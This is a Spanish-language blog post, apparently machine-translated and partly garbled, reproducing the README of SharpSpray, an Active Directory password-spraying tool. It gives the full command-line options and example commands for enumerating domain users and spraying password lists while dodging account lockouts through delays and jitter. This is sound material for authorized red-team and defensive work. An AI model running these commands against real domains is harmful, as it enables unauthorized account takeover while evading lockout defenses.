in

Herramienta para rociar contraseñas de Active Directory. Recupera automáticamente la lista de usuarios y evita posibles prohibiciones




SharpSpray es una herramienta de aplicación de contraseña de dominio de Windows escrita en .NET C #.

Introducción

SharpSpray es un puerto C # de DomainPasswordSpray con funciones avanzadas y adicionales. Esta herramienta utiliza el protocolo LDAP para comunicarse con los servicios de Active Directory del dominio.

caracteristicas

  • Puede operar dentro y fuera de un contexto de dominio.
  • Excluya las cuentas con dominio deshabilitado de la fumigación.
  • Recopila automáticamente usuarios de dominio de Active Directory.
  • Evite posibles prohibiciones excluyendo cuentas dentro de un intento de prohibición.
  • Evite posibles bloqueos mediante la captura automática de la configuración de la ventana de vigilancia de bloqueo de dominio.
  • Compatible con las pautas de contraseñas específicas de dominio.
  • Filtro LDAP personalizado para usuarios, p. Ej. (Descripción =Administrador)
  • Retraso en segundos entre cada intento de autenticación.
  • Fluctuación entre cada intento de autenticación.
  • Admite una sola contraseña o una lista de contraseñas.
  • Aplicación de consola de un solo archivo.

propósito de uso

Args de línea de comando

Ruta del archivo de la lista de nombres de usuario. Esto se toma automáticamente de Active Directory, si no se especifica. -p Una única contraseña utilizada para realizar el spray de contraseña. -k, –pl (Opcional) Ruta de archivo de la lista de contraseñas. -d (Opcional) Proporcione un nombre de dominio. -m Utilice esta opción si está diseminando desde un host que está fuera del contexto del dominio. -q, –dc-ip Obligatorio si la opción ‘m’ OutsideDomain está habilitada -x Intenta excluir cuentas deshabilitadas de la lista de usuarios (no es compatible con la opción -m) -z Excluye cuentas dentro de un intento de bloqueo (no es compatible con la opción -m) -f Filtro LDAP definido por el usuario para los usuarios, por ejemplo, «(descripción = * admin *)» -o Un archivo para generar los resultados. -w No reenvíe la configuración de la ventana de supervisión para el bloqueo de dominios y utilice este valor específico. (Predeterminado 32 minutos) -s (Opcional) Retraso en segundos entre cada intento de autenticación. -j (opcional) jitter en segundos. –Fuerza el inicio de Force sin pedir confirmación. –get-users-list Obtiene la lista de usuarios del dominio de Active Directory. –show-examples Obtiene la lista de usuarios de dominio de Active Directory. –show-args Muestra los argumentos de la línea de comandos –help Muestra esta pantalla de ayuda. «>

> SharpSpray.exe --help

-v, --Verbose Show verbose messages.
-u (Optional) Username list file path. This will be
automatically fetched from the active directory if not specified.
-p A single password that will be used to perform the password spray.
-k, --pl (Optional) Password List file path.
-d (Optional) Specify a domain name.
-m Use this option if spraying from a host located outside the Domain context.
-q, --dc-ip Required when the option 'm' OutsideDomain is checked
-x Attempts to exclude disabled accounts
from the user list (Not supported with the option -m)
-z Exclude accounts within 1 attempt of
locking out (Not supported with the option -m)
-f Custom LDAP filter for users, e .g. "(description=*admin*)"
-o A file to output the results to.
-w Do not relay on domain lockout observation window settings and use this specific value. (Default 32 minute)
-s (Optional) Delay in seconds between each authentication attempt.
-j (Optional) Jitter in seconds.
--Force Force start without asking for confirmation.
--get-users-list Get the domain users list from the active directory.
--show-examples Get domain users list from the active directory.
--show-args Show command line args
--help Display this help screen.

Ejemplos de aplicación

SharpSpray.exe -v -x -z --pl password.txt
SharpSpray.exe -x -z -u users.txt --pl psswd.txt
SharpSpray.exe -x -z -u users.txt -p Passw0rd!
SharpSpray.exe -x -z -s 3 -j 1 -u users.txt -k psswd.txt -o sprayed.txt

SharpSpray.exe -w 32 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt
SharpSpray.exe -w 32 -s 3 -j 1 -m -d DC-1.local --dc-ip 10.10.20.20 -u users.txt --pl psswd.txt

SharpSpray.exe --get-users-list
SharpSpray.exe --get-users-list > users.txt
PS> .SharpSpray.exe --get-users-list | Out-File -Encoding ascii users.txt

Recupere solo la lista de usuarios de Active Directory

El siguiente comando obtiene los usuarios del dominio y envía la lista a la consola.

SharpSpray.exe -x -z --get-users-list

-x: Exclude disabled accounts from the user list.
-z: Exclude accounts within 1 attempt of locking out.

Meta

SharpSpray | Herramienta de pulverización de contraseñas de Active Directory



What do you think?

Written by Helen Lafayette

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

GIPHY App Key not set. Please check settings

Comprensión de la tecnología Blockchain para principiantes

CyberheistNews Vol. 11 # 38 [EYE OPENER] Más de 100 millones perdidos por estafas románticas / criptográficas en los primeros siete meses